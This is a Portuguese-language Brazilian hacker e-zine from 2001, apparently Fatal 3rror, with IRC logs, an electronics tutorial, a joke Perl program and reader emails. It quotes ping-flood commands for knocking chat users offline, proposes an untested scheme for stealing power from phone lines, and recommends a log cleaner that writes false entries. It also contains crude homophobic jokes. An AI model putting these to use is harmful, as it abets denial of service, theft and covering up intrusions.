<struck> tipo...
<struck> tem 2 srcs de programas q nao sao dele que ocupam 99% do espaco da zine
<struck> bahhhh... q lixo
<struck> Peguando o IP no chat
<struck> Arp -a
<struck> olha o nivel das materia...
<struck> Descobrindo o IP ou HOST do Provedor
<struck> Ping www.provedor.com.br
<struck> nao acredito no q eu to lendo
<Carti> iuheiuhaeiuhaeiuhaeiuhaeiuhaeiuhuiae
<Carti> nossa
<Carti> iuhaeiuheaiuheauae
<struck> tipo... eh melhor nem comenta mais as materias q tem nessa zine....
<struck> c pode ter enjoo
<struck> tem uma lista de cmds de mirc rippada,
<struck> materia sobre o anonymiser
<struck> coisa + antiga nao existe
<struck> Lista de PINGs
<struck> Sabe aqueles programinha q servem para derrubar o kra do chat! Vocà tambem
<struck> pode fazer isto com o ms-dos do Ruindows. Ae vai um lista de PINGs pra vc:
<struck> Ping (ip) -l2000 -n200
<struck> Ping (ip) -l 2000 -n 200
<struck> ...
<Carti> uhuaeaeiuhuhae
<Carti> chuva de ping
<Carti> cara
<Carti> sabe esses usuario novo de irc
<Carti> metido a racker
<Carti> tipo
<Carti> nunca te apareceu akeles tipo
<Carti> " mas eu te dei um monte de ping, mais de 10, como vc nao caiu?"
<struck> hehehe
<struck> nao
<struck> tipo...
<Carti> ja me apareceu uns 10
<struck> olha o cumulo da lamisse
<struck> Projeto Passwd
<Carti> principalmente os amigo
<Carti> akeles q nao mechem muito no irc
<struck> Este projeto consiste no alistamento para a Brutal Destruction, para a reali-
<struck> zaá∆o de coleta de senhas dos maiores provedores do Mundo.
<struck> N∆o vou falar muito pq posso receber muito e-mail de lamer.
<struck> Este projeto e para Hackers e Crackers caso algum lamer se intrometa. haha.
<Carti> haeihaeiuhieuuiheahaeiuhhiaueuhiaeuhoiauhieiuhaeuhiaeiuhaeiuhuhiaeae
<Carti> nhaeiuyaeyiughae'aetr
<Carti> aryes
<Carti> shrted
<Carti> westdyh
<Carti> uwtreuj
<Carti> wtre
<Carti> uj
<Carti> wetu
<Carti> iwrute
<Carti> wresjut
<Carti> cara
<Carti> para
<Carti> eu nao aguento mais
<Carti> aeuhuheahuuhaeae
<struck> hahahahha
<struck> kra...
<struck> nessa eu to enfiando o dedo na guela
<Carti> iaeuhuuiaehaeae
<Carti> q cruel
<struck> olha soh
<struck> Inicio digitamento: 01/04/2001 Ös 02:54 am
<struck> Termini digitamento: 01/04/2001 Ös 06:32 am
<struck> o kra fez a zine em um dia
<struck> heheheheh
<Carti> iuhieuahiuaehuiaeihiueaiuhiaeiuhaehiihaeuae
<Carti> akeles q tao entusiasmado
<struck> nao levou nem 5 horas pra acabar
<struck> hehehe
<Carti> " ahh,agora vo escreve um zine"
<Carti> pra mim fica famoso
<struck> serio... eu nao sou de zuar ninguem... mas esse kra pidiu
//Nota: Eu falei serio!
<struck> nao acreditava q existisse gente assim..
<Carti> ahhiueaiuhea
<Carti> eu conheco um cara assim
<Carti> da minha cidade
<Carti> mas eh 2x mais burro q ele
<Carti> esses dias ele acho q um amigo meu tinha derrubado o nickserv
<Carti> e fico loco
<Carti> auehuaehea
<Carti> dae quando volto o nick do cara q derrubo o nickserv mudo pra guest
<Carti> dae ele acredito q o nick do cara tinha sido cancelado porque ele
tinha derrubado o nickserv
<Carti> haeuihaeuh
<Carti> sabe qual era a senha do nick do idiota? era " senha"
<Carti> sabe daonde?
<Carti> dakele " para registrar seu nick digite /msg nickserv register senha"
<Carti> serio
<struck> huahauahuhauhau
<struck> putz!
<Carti> eh verdade
<struck> eh muita lamassera....
<struck> como eh q existe gente desse tipo...
<struck> como conseguem ser tao idiotas.. eu por mais que tentasse nao conseguiria
<Carti> tipo
<Carti> o cara falava assim
<Carti> " cara, se eu fizesse isso, eu derrubava a brasnet e seria o cara mais
famoso do irc"
<struck> kra... dessa vez eu vi mesmo como existem lamahs por ae...
<struck> desde o lancamento da f3-00 nunca tinha chovido tanto email de lamah aki
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 15 - Uncolor Box ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~
Este eh um novo projeto dakeles que ainda esta soh na minha cabeca...
Nao coloquei-o na pratica ainda, mas vou descrever em detalhes como
funciona o circuito desta nova box que estou matutando...
Para sua criacao eh preciso saber um minimo de fisica eletrica que
irei explicar brevemente aki. Se voce eh formado em Engenharia eletrica
pode pular essas explicacoes de pre-requesitos.
Mas se voce inda nao saka muito dessas coisa, da uma lida soh pra
ter uma base de como projetar a box que vou descrever la no fim da
materia...
Alias... um bom phreaker tem que ser tambem um bom eletricista para
fazer e criar suas boxes. Nao soh akele que sabe puchar uma extencao.
"Aprendi muito com Profissionais que lidam diretamente com o
assunto e n„o com o TOM WAITS... :)"
TPGA
Pre-requesitos:
-Resistores
-Capacitores
-Diodos
-Portas Logicas
Resistores
##########
A funcao basica de um resistor eh resistir a uma tensao. Essa
resistencia gera uma potencia calculada pela formula:
P = iV
Onde:
P = Potencia (Watts)
i = Intencidade da corrente (Amperes)
V = Tensao (Volts)
Isto eh usado para diversos fins, como por exemplo acender
uma lampada ou aquecer um chuveiro eletrico, etc...
Mas esta resistencia tb causa uma queda na tensao. Essa
queda pode ser calculada pela formula simples da lei de Ohn:
V = Ri
Onde:
V = Tensao, DDP, Diferenca de Potencial (Volts)
R = Resistencia (Ohns)
i = Intencidade da corrente (Amperes)
Esta queda de tensao tambem eh aproveitada em alguns casos
como veremos mais adiante.
Uma das leis de KirchHoff (nao sei se eh assim q se escreve)
diz que todas as quedas de tensao somadas devem dar o mesmo
valor da DDP fornecida pela fonte.
Ou seja, numa soma algebrica das variacoes de potencial de um
circuito tem que resultarem em 0. Isso nao se aplica somente a
resistores mas todos os elementos encontrados no circuito.
Isto pode ser exemplificado pela seguinte formula:
V = V1 + V2 + V3
Onde:
V = DDP fornecida pela fonte.
V1, V2, V3 = Quedas de tensao.
Capacitores
###########
Capacitores sao construidos por 2 placas (positiva e negativa)
separadas por um material isolante. Quando carregados eles armazenam
cargas eletricas em suas placas para serem aproveitadas mais tarde
em uma descarga (nao! nao eh como a da sua patente...).
Capacitores sao muito usados em circuito eletricos como
armazenadores de energia eletrica.
Assim como resistencias, capacitores tambem causam uma queda de
tensao. Essa tensao eh armazenada no capacitor por isso obviamente a
queda de tensao eh esperada.
Por hora somente isso precisamos saber de capacitores. As formulas
de calcular a capacitancia e a cara e descarga em funcao do tempo
serao ignoradas por enquanto.
Diodos
######
Diodo eh a juncao de uma barra positiva (P) com outra negativa (N),
geralmente feitas de silicio, que formam assim uma Juncao PN mais
conhecida como diodo.
Ele tem 2 funcoes basicas dependendo do sentido em que ele se
encontra num circuito eletrico.
Se colocado no sentido direto da corrente ele deixa a corrente
passar, caso contario (no sentido oposto) ele impede que a corrente
passe. Seu funcionamento eh parecido com o de um resistor no sentido
direto e de um capacitor no sentido contrario.
_______+ |>| -________
| diodo |
| |
| |
|_________+/-__________|
No exemplo acima o diodo somente conduz a corrente para que o
circuito feche.
_______- |<| +________
| diodo |
| |
| |
|_________+/-__________|
Neste exemplo a corrente eh barrada pelo diodo.
Nota: Costumase ligar diodos junto a resistores para que evitar que
eles queimem. O diodo causa uma queda de tensao de 0.7Volts.
Porta logica AND
################
Vou citar aki 2 circuitos simples de portas logicas AND e OR.
Ambos circuitos usaremos 2 chaves que serao as entradas da porta.
Ou seja: 1 =ligado, 2 = desligado.
O 1o circuito eh simples...
(Fonte)________/ ________/ __________/\/\/\/\______(Massa)
Chave1 Chave2 Resistor
O resistor aki eh somente para testar a saida. Pode ser uma lampada
ou qquer coisa. Qdo a chave eh fechada assume o valor 1 qdo aberta 0.
Assim... qdo fechamos as 2 chaves fechamos o circuito e a corrente
chega ateh a lampada ou o q tiver sido colocado ali. Lampada ligada = 1,
desligada = 0.
Assim temos a tabela verdade do AND:
1 AND 1 = 1
1 AND 0 = 0
0 AND 1 = 0
0 AND 0 = 0
Porta logica OR
###############
A porta logica OR eh parecida com a AND porem aki colocamos as
chaves em paralela enquanto antes tinhamos colocado-as em serie. A
logica eh simples... antes somente qdo as 2 chaves eram fechadas q
a corrente passava. Aki eh preciso q apenas uma seja fechada para
fecha o circuito.
Chave1
____/______
(Fonte)_______/ \______/\/\/\/\______(Massa)
\____/ _____/ Resistor
Chave2
Chave Fechada = 1 e aberta = 0. Lampada ligada = 1 e desligada = 0.
Temos a tabela verdade do OR.
1 OR 1 = 1
1 OR 0 = 1
0 OR 1 = 1
0 OR 0 = 0
Eu ia publicar uns circuito mais complexos de porta logica mas
o ASCII deles iria ficar complicado entao optei pelos mais simples.
The Uncolor-Box Project
#######################
Bem... Vamos aos finalmentes...
Uncolor-Box eh uma folgacao com as nomeclaturas dos Americanos pra
faze boxes. La eles tem as color-boxes e aki nos temos a uncolor-box.
=)
Ta mas chega de zuera...
O projeto aki consiste em um meio de roubar energia eletrica de
linhas telefonicas. Eh... com esse esquema do racionamento... eh a
Fatal 3rror salvando voces novamente...
Ele ainda esta no papel e nao foi testado, por isso vou descrever
aki somente o funcionamento dele.
Para comecar... eu ja nao sei ao certo qto de corrente eletrica eh
passado pela linha telefonica. Ja ouvi que eram 12V continua, 12V
alternada, 9V a 20mA, etc... na verdade eu nunca liguei um voltimetro
na linha telefonica para saber. O que importa eh que sabemos que la
passa uma corrente e ela elevasse a sua tensao maxima quando o telefone
toca. Issu por deducao sabemos pois a campainha precisa ser ativada.
Entao o que podemos fazer eh uma gambiarra que ligada ao fio do
telefone carrege alguns capacitores e estes consequentemente sejam
aproveitados para carregar alguma bateria ou fazer funcionar algum
eletrodomestico.
Em outra linha colocamos um discador continuo para o numero da
linha do 1o telefone para que a tensao fike sempre em seu maximo e
assim carregue os capacitores mais rapido.
Como voce somente paga a ligacao telefonica ao tirar o Telefone do
gancho e enviar um sinal para a CT informando q a ligacao foi atendida,
nos temos aki energia eletrica gratuita pois a CT vai pensar q a tensao
caiu ao tocar a campainha do telefone, porem ela cai ao carregar o
capacitor. Engenhoso nao?
Nota: As 2 linhas ficariam inutilizadas com isso entao a saida seria
colocar a box em TPs ou liga-las a noite ou ainda faze um gato numa
linha que nao esteja sendo utilizada.
Tipo... Falei dessa ideia para alguns conterranos daki que manjam
e alguns gostaram outros nao botaram fe' no projeto. Mas na iluminacao
da sua casa toda ligada a corrente telefonica. =)
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 16 - Sup3r l33t Pr0gz ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~
Achu q vou ter que comecar a colocar legendas azuis qdo eu estiver
sendo sarcastico pq tem gente que ainda nao entendeu o espirito dessa
secao... =/
Hj dou a vcs o que a de mais avancado para medir os conhecimentos.
Este programa eh todo feito em perl e basta roda-lo e pah! Ele faz
a analize de seu cerebro e da o resultado. Muito mais pratico do que
fazer um Hack-Test. =)
<++> Superprogs/analize.pl
#!/usr/bin/perl
# Analize v1.0 by Cheat Struck
# Enjoy the leet prog!
print "Voce esta na frente da mais poderosa ferramenta para medir conhecimentos.\n";
print "Encoste a cabeca no monitor e aperte a tecla Enter.\n";
@msg = (
"Parabens!!! Pelo que o monitor detectou voce eh da 3l337!!!",
"Suas ondas cerebrais sao semelhantes as de um macaco!",
"Esta sentindo um chero de fumassa?
Seu processador queimou ao tentar analizar teu cerebro.",
"Assim nao da! Pare de pensar em punheta e concentresse se nao
o programa na executa direito.",
"Sua inteligencia nao deu pra medir, mas sua homosexualidade ta em 105%.",
"Hahaha!!! Eu passei cola no monitor!!! Ass: Pedrinho Traquinaz.",
"Erro: O monitor nao detectou nenhuma cabeca.
Ou voce nao esta seguindo as instrucoes direito ou tem uma cabeca oca.",
"Nao consegui analiza tua cabeca, mas o virus que ta escondido ali no MBR
eh muito esperto.",
"Segmentation Fault (core dumped)
bash# ",
"Hahaha... voce eh tao lamer que vou fazer um favor a humanidade.
Seu hd foi totalmente formatado!!!",
"Nossa! Issu tudo eh emocao de estar na frente do micro???
Eu disse para encostar a cabeca no monitor e nao beija-lo!",
"Erro: Da proxima vez faca cara de inteligente antes de dar Enter.
Depois pode voltar ao normal...",
"Erro: Nao faca cara de viado enquanto executa o programa!",
"Analize concluida! Coloque uma ficha para saber o resultado.",
"A versao DEMO deste programa acaba aki. Se quizer saber o resultado
compre a versao completa.",
"Operacao Ilegal! Este programa nao tem suporte a QIs abaixo de 20.",
"Voce tem anotomias cranianas de um ferrero.",
"Resultado: Lamah",
"Resultado: Script Kiddah",
"Resultado: Wanna be a Wannabe",
"Resultado: Hax0r",
"Resultado: z0ated",
"Resultado: Biginnah"
);
$ent = <STDIN>;
$i = 50000;
while ($i < 60000) {
print "$i";
$i = $i+3
}
$msgtxt = $msg[ rand @msg ];
print "\n\n$msgtxt\n\n";
#eof
<-->
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 17 - Emails ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~
Lembrando sepre que meu email e': cheat@struck.8m.com
e: cszine@email.com
Ou ainda: decopudim@ig.com.br
Agora voce pode mandar emails direto da page tb.
Os emails que enviaram respostas para o teste nao tiveram suas res-
postas publicadas.
################
################
################
From: "*** ****" <******@hotmail.com>
Subject: Teste da zine 4 e .....
Date: Fri, 30 Mar 2001 18:17:46
hei man ... blz ?
tipow fiz o teste , achei legal da uma olhada e fala o resul pq sei q a
zine demora , naum q com o teste eu va acha q se acertei varias so um hacker
ou alguem q saca das coisa , mais quero sabe pra ve como to ... a tem uns
teste legal em www.gabrieltorres.com ... a o X na quest„o siguinifica q num
sei , como vc disse , sem chutes isso soh no vestiba e na iscola q era o q
mais sabia faze nos prov„o q tinha hauhauaha ...
(Respostas)
ah se na de linguagem de alto e baxo nivel vc disser q È a letra C o
bixo pega hehehe zuando , aquela fui por eliminaÁ„o pq vc disse de alto e
baxo nivel respectivamente e coloco como a) ASM e C q se fosse teria q ta ao
contrario .... a B) era a q coloquei e a C ... quem sabe ... ahuahauahuaha
se num errei a ordem o q fiz foi isso mermo
ah otra coisa teu zine È bom pacas ... tipow as materia saum vbem
escrita e facil pra entender , tu podi num credita mais tava comeÁando a
saca como escrve xploit e talz mto tes„o quando vc faiz seus prog funfa ,
fiz varias coisa , teu zine deu uma forÁa comecei e intende as parada ai
comecei a faze varios treco , quando... o modem queimo ... moh merda , sem
net e com a tua zine ateh o numbah 3 e mais umas otra zines legal fiz varios
progs e talz mais depois inventei di instala o speedy da telefonica ... e o
drive da porra da placa de rede deu uns pau pra compila no linux , formaei
tudo e soh depois lembrei dos prog e talz moh merda ... e agora pra piora to
com o windows , naum q ele seja uma merda completa ... mais .... num tem mta
coisa pra fica funcando e istudando e testando e talz ... vo ve se ajeito a
placa de rede no linux pq quando formatei tudo tava meio q cum pressa de ve
o speedy funfa .. hehehe se vc leu ateh aqui ... vixi .. valeu hehehe .. vo
para por aqui valeu kra ... continua com a zine pq essa ta legal pacas ...
forÁa pra vc manu .. fuiz ... !!!!
Obs.: como to com o win se num sabe de nenhuma page de porgramaÁ„o com
texto sobre funÁıes pra mexe no registro do windowz neh ... se soube de
arguma coisa manda ae ... !!!! a em C ... Valeuz !!!
------------
Oww!
Antes de mais nada valew pelos comentarios. E' sempre bom ouvir coisas assim. =)
Ja lhe passei seu score no teste e vc pode conferir as questoes nesta edicao.
Sobre como mecher nos registros do windows vc pode dar uma olhada nos arquivos
.reg . Eles fazem issu... eh facil de entende-los, de uma olhada nos que estao no
seu windows..
Issu ae... Falow!
################
################
################
From: ****@ig.com.br
Subject: Um nova zine brasileira!
Date: Wed, 1 Jan 1997 01:47:37 (Uops!! Alguem ta com a data atrazada)
Aloha mano da F3!
Mais uma nova zine estah nascendo (unhÈÈÈ!)
e estah em trabalho de parto :). Eh a zine BaitesBrasil, que aborda
a informatica em geral(programacao, sci-fi, hackering, etc)
Eu gostaria que vc incluisse um link nosso na sua pagina
(www.baitesbrasil.cjb.net) e colocasse uum comentario sobre nos
na sua zine, depois de le-la.
Estamos na 1a edicao, mas queremos ser bem duradouros!
Ateh mais, mano da F3, desejo boas zines pra vcs :)
QuickBasic, Redator-Chefe da BaitesBrasil
------------
Parabens.. a zine ta mto boa. Espero que continuem assim.
Hm... Parece q fazer zines voltou a virar moda. Espero que desta vez
mantenham o nivel e nao saiam publicando qquer merda como aconteceu a
um tempo atras.
################
################
################
From: *********@globo.com
Subject: Pedido!!
Date: Fri, 13 Apr 2001 15:56:03
Ol· Cheat Struck,
Sou Chernobyl Hover desde 1998 acompanho seus passos no mundo hacker e
kero lhe dizer q 70% das coisas q sei hoje foi graÁas as vc (suas zines) e
aos seus amigos hackers q lhe ajudavam a editar suas zines. Tenho todas as
suas zines desde a CsZine d 00 a 25 e a f3rror da 00 atÈ a 04 (n„o vamos
entrar em detalhes). Mas este e-mail e para lhe fazer um pedido. Eu estou
lanÁando minha zine a "Bhoor Zine", eu keria lhe pedir q vc divulgasse aos
seus amigos a minha zine q pode ser encontrada no site http://www.txt.org
(l e sÛ procurar por "Bhoor" (sem as aspas). Se n„o for pedir d+ de uma
lida e mande um e-mail para mim (*********@globo.com) falando sobre ela o q
vc achou!
H· para n„o eskecer vou tambem lhe mandar o cÛdigo fonte do ALTIVORE.C,
q e um programa de seguranÁa q achu q vc vai gostar! Blz. Se kiser pode botar
este mail na sua proxima zine (f3_05). A 04 t· filÈ espero q n„o sej· incomodo!
Valeu...
------------
Putz! Alguem leu a minha resposta ao email anterior??? Se leu, volta lah e
le dinovo. Eu disse: "espero q mantenham o nivel". Nao sou de folgar em ninguem
mas a sua zine realmente nao presta.
Li coisas lah que me deu vontade de vumitar. Eu to divulgando aki para que
todos saibam o que nao ler para nao perderem seu tempo.
Sei lah... mas isso mais parece ter sido feito durante um aborto de tao ruim
que ficou. Eh tao chinelo que vale ateh levantar duvidas sobre a veracidade do
autor. Digo: pode ser obra de um ex-namorado ciumento que para sakanear com a
vida de seu homem fez essa coisa colocando o nick dele para queimar sua imagem.
Ou algo mais conspirador ainda: algum lamer querendo se passar por hacker
criando uma zine e grupo chinelos e fazendo com q todos queiram seu fim. Ae esse
lamer muda de nick e troca a page como se ele tivesse 0wnado ela. Ae ele vira
heroi de todos! eeeeehhhhhhh!!!!!
Bem.. essas foram as saidas que consegui pensar para nao ter que acreditar
que ainda existam pessoas tao lamahs a ponto de fazer uma zine em menos de
5 horas (aparece lah hora de inicio e fim) e acham que vai render alguma coisa.
Kra... eh isso... nao tenhu mais o que comentar sobre essa porra!
Ah.. aproveitando vou dar uma lista de zines que eu ja escrevi pq notei que
mta gente foi atraz das antigas CSZines depois que eu lancei a f3.
Nota: A CSZine foi a primeira zine que escrevi e como ja mencionei na f3-00,
ela eh uma merda. Mas se mesmo assim quizeres ver, tem ateh a edicao 25
disponiveis na www.txt.org.
Cheat Struck Zine 0-28
The Death Knights 7-10
s13 E-zine 1
struck.8m.com Texts 1-3
Fatal 3rror 0-5
Achu que nao me esqueci de nenhuma...
################
################
################
From: ***** ****** <********@yahoo.com.br>
Subject: minha nota
Date: Fri, 27 Apr 2001 13:03:58
ae manu blz?
kra estou mandando as respostas do teste hax0r
espero que eu me saio bem viu, eheheheheh!
uma coisa se eu errar algumas ou "todas" vc pode me
mandar as respostas para eu refletir e estudar as
mesmas?
sendo que eu nao saco muito eheheh!
obrigado
ai vai as minhas respostas!
(Respostas)
ehheeh espero ser o leitao...
putzx..! me manda as respostas viu??
rlz..
tchau..
struck o mr.haXor
------------
Como nos outros casos, seu escore ja foi enviado-lhe por email ou
"via correio eletronico" como diz meu professor de introducao a info.
Confira as respostas corretas nesta edicao e aproveite para estudar
mais as que erraste.
Ah! detalhe: todas as respostas que me foram enviadas serviram para
fazer as medias do Hack-Test publicadas nesta edicao.
################
################
################
From: **************@globo.com
Subject: Hacking....
Date: Sat, 26 May 2001 18:20:55
QualÈ manow, sempre segui e li muito suas zines! S„o muito boas, mas mandei
este mail p/ se podesse me dizer, qual o curso da purcs vc est· cursando!
Estou p/ fazer vestibular neste fim de ano e queria uma dica sua, de preferÍncia
um curso que ensine algo referente a hacking, sei l·, Analista de Sistemas,
Programador SR, ou algo que venha a ser do ramo hacking! Valew manow...
H·a, sobre a zine f3, t· legal pra leleu. E queria fazer uma pergunta:
No meu estado tem um server que estou precisando pegar umas senhas [passwd's],
se n„o fosse muito incomodo []'s sei l· velhow j· tentei de tudo [exploits,
backdoors e outros recursos] mas n„o deu em nada por issu pegue pelo menos
20 min de seu acesso a net e de uma olhada no server: www.infonet.com.br
Valeu, caso consiga exito mande um mail com o file anexado! N„o pense ke
pq n„o consegui os passwd's vc est· pensando que sou mais um daqueles lamers
querendo passwd's, vc vai ver q o server e bem protegido. Mas pela sua
capacidade
sei ke vc vai conseguir!!
Valew[]'s...
------------
Ae esta um exemplo do que vcs nao devem fazer. Se eu quizesse desafios
eu mesmo procuraria-os. Eu nao tenho interesse nenhum em tentar 0wnar seus
alvos e se tivesse certamente nao enviaria o resultado de meu trabalho
para vc. Pelo contrario, eu Fixaria os bugs q encontrei para pessoas como
vc nao pudessem entrar lah MESMO!
PS: Nao existe faculdade de hacking. Eu faco informatica (futura cienc
da computacao) na PUCRS.
################
################
################
From: "********" <********@ieg.com.br>
Subject: AtualizaÁ„o
Date: Mon, 14 May 2001 10:17:05
Ol·, vocÍ est· na lista de atualizaÁ„o do www.onlooker.hpg.com.br
O site foi totalmente atualizado, com muitas coisas, curiosidades, greetz,
fuckz, downloads, apostilas, um grande arsenal de zines, musica... alem de
muitos links legais, e de utilidade dos hax0rs, e para pessoas normais tambÈm!
Espero que visite o site.
AtÈ mais!
----------------
Tae a propaganda gratuita da sua page. =)
################
################
################
From: "******" <******@bol.com.br>
Subject: 4x10m4 Page - Mirror
Date: Sun, 27 May 2001 21:06:01 -0300
E aeh Kara,
To mandando este para informar que sua Zine ta
disponivel para download na minha Page:
http://4x10m4.vila.bol.com.br
Falta ainda colocar lah uma sessaoum de Links e outra
com Outros textos (n„o zine).
Se vc tiver auguma Zine que naum tem na Page, e que
mereca estar lah por favor me envie ou me indique.
Antecipadamente agradeco
4x10m4
----------------
Ae mais propaganda gratuita.
Tem muita zine brasileira lah incluindo as cszines 26,27 e 28 que
vc nao encontra na txt.org. Achu q todas as zines brasileiras boas
estao lah, mas nem todas q estao lah sao boas. =)
################
################
################
From: "****** ** *******" <**********@mail.com>
Subject: brute force
Date: Mon, 18 Jun 2001 01:00:23 +0800
ae struck!
eh o seguinte, eu estive procurando por programas de brute force (que faz
tentativas de conexao utilizando uma worldlist, ta ligado?) e o unico q achei
foi o unsecure, pra win32. mas eu estou atras de um brute force pra unix/linux e
nao achei nada a respeito. eu vi que vc colocou o code de um brute force na f300
(eu acho) e queria saber se ele funciona bem, ou entao se vc conhece outro. e se
conhecer, qual o eh o melhor. bom, aproveitando, gostaria de saber, qual eh o
melhor log cleaner disponivel? o cls.c funciona bem? aguardo resposta.
thanx,
******* **
--
----------------
Tipo...
C ja tentou procurar na packetstorm???
Search word(s): 'brute' 'force'
Found 237 matches in 0.71875 seconds.
Vai lah: packetstorm.securify.com.
Tem mta coisa boa lah... Tipo.. os programa que eu publico na F3
tudo funfam legal... Nao ouvi reclamacoes ainda... vai ver pq ninguem
usa.. heheh... tipo... o cls.c eh diferente dos outros log cleaner pq
ele nao somente apaga o log mas tb escreve por cima com dados falsos.
################
################
################
from: ****** *********@ig.com.br
Subject: Sobre a home page
Date: Fri, 06 Jul 2001 05:14:13
cara, a home page tah d+
Vi que ela eh toda feita em cgi... o que vcs usaram?
C ou perl? Cheat Struck, a home page tah de parabens
e a zine tb.
-------------------
Tkz... A hp foi toda feita em perl pelo pcHazard.. o novo webmaster
da fatal 3rror hp.. =)
<Carti> eu so mandei ele pra policia
<Carti> uma tal de abim
<struck> heheheh.... rlz
<Carti> agencia brasileira de inteligencia m ???
<struck> como eu nao fiz nada nao tenho com o que me preocupar
<Carti> claro
<Carti> eles falaram q era pra mante os cadastro atualizado
<Carti> ahuhaeueahuhaeuhae
<struck> eh capaz deles quererem q eu ajude a achar hackers q nem vcs...
<struck> hehehe
<Carti> voces?? vc ta falando do renegade e do psaux ?
<Carti> eu so q nem o pcmcia, nao fasso mal a uma mosga
<struck> heheh.. mas podem dar mtas informacoes uteis...
<Carti> nada
<Carti> mesmo sob tortura eu nao entrego companheiros
<struck> eles querem chegar ao cabeca da gangue! akele que todos chamam de primo...
<struck> heheheh
<struck> eu podia ser o cabeca da gangue...
<Carti> o struck
<struck> comecem a me chamar de primo...
<Carti> jaejioaeji
<Carti> qq vc ta inventando primo?
<struck> nada... tipo...
<struck> ta ligado akela mina do baywatch
<struck> yasmine
<struck> uma morena de olhos verdes, peituda, gostosona...
<struck> esses dia eu vi ela nakeles porno de sabado a noite no 10...
<Carti> nao
<Carti> mas conte
<struck> to tentando achar os video aki... akela mina eh tudo
<Carti> huaeueauihaeuiaehae
<Carti> moh putedo
<struck> uma das mulheres mais perfeitas da minha lista
<Carti> primo pounhetero
<struck> hehehe.. fazer o q... inda nao achei uma mina q me satisfaca por completo...
<struck> eu nao recebo sexo suficiente... tenho q bater umas de x enquando.. hehehhe
<struck> alias.. faz tempo q to no seco...
<Carti> uhuiaehuiaehiuaehiueahueiaea
<struck> hehehe.. rlz... eu sou o primo...
<Carti> eu assisti o chaves essa semana
<struck> O PRIMO
<Carti> dae eu lembrei de vc
<Carti> hehuuhaeuhae
<struck> hehehe. rlz.. faz tempo q eu nao assisto...
<struck> nao tenho tempo.. saio pra facul 1:30... chaves soh comeca as 2:00
<struck> q q tem a ver primo com o kiko?
<Carti> vc, tem as boxexa grande e tal
<struck> nao
<Carti> vamo te chama de kiko
<Carti> e nao de primo
<Carti> eahuuhaeuhaehuhae
<struck> nah.. primo eh show
<Carti> aieuhuiaehuhiaeuhuhaeuhiaehiueahuiaeae
<struck> esse vai ser meu apelido agora...
<Carti> uhaeueeuahea
<struck> primo struck
<struck> hehehe
<Carti> iuaehaeiuehaiuhuaeae
<struck> tipo... todo mundo vai me chamar de primo agora... ateh meus irmao...
<Carti> primo struck rox
<Carti> heiauheuiahuaeuhae
<struck> e ateh meu primo...
<Carti> vai impor isso a eles?
<struck> vo
<struck> eu soh vou atender agora qdo me chamarem de primo...
<struck> na facul vai ser legal... os kra q nao me conhecem e ouvem... "o primo!"
vao achar q eu to com a familia toda lah...
<Carti> uhaeiuhiaehiuaehuaehuihaeuhhaehuiheauiheaae
<Carti> tipo
<Carti> te chamam de struck na vida reaL>?
<struck> nao
<struck> nem sabem q eu sou o struck
<struck> o unico q sabe eh meu irmao e meu primo...
<Carti> eu tenho o apelido de cartilagem desde a 5 serie
<struck> mas me chamam pelo nome mesmo
<Carti> dae encurtei e hoje eh so carti
<Carti> mas todo mundo conhece como carti e tal
<struck> pq cartilage??
<Carti> por isso nunca pude fazer merda com esse nick
<Carti> na 5 serie eu era akeles pia magricela, q so tem coro e cartilagem
<Carti> dae fico
<struck> desculpa eh o que nao falta
<struck> eheheh
<Carti> no comeco nao gostei muito
<Carti> mas depois adotei ele
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 18 - DuEnde ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~
Promocao!!! Fike famoso e ganhe um email gratis sabendo ASCII.
Voce eh bom de ASCII??? Pois faca um logo em ASCII para a f3 e
envie-o para promocao_fike_famoso_e_ganhe_um_email_gratis@struck.8m
e ele sera eleito pelos editores da fatal 3rror e adotado nas
proximas edicoes da zine.
Alem de seu nick aparecer em todas edicoes da f3, vc ainda ganha
de brinde um redirecionador de emails na fatal3rror.com e ainda
fika com seu nick la na caixa de mensagens do site da f3.
Issu tudo e mais... nos podemos pensar no seu caso e lhe dar
acesso ao canal de reuniao dos editores da fatal3rror na brasnet.
Curtiu??? Entao nao perca mais tempo e envie o logo agora mesmo.
A promocao vale ateh a publicacao da proxima edicao.
Vamos aos gr33ts!
Comecando desta vez pelos ativos...
^^VENTO^^ Sssssss? Ssss Sss Sssssssssssssss Sssss! (ligua dos ventos)
Cacaio Nao de drogas para ele! Da ultima vez comeu um bigmac
achando que era um sabonete. Nao.. nao torquei as palavras...
Chernob Membro da sociedade de pintores surrealistas modernos.
BEHAEL Foi criado numa fazenda junto as vacas e agora pensa ser
um bezerro. Esta com febre aftosa! Nao o comam!!!
C0nd0r Pratica programacao em ASM com os dedos dos pes.
Carti Membro do fa-clube do membro dos membros do BSB.
Dave Mustaine Internado numa clinica psiquiatrica por ter visto duendes.
Encripty Afirma que duendes roubaram suas cuecas!
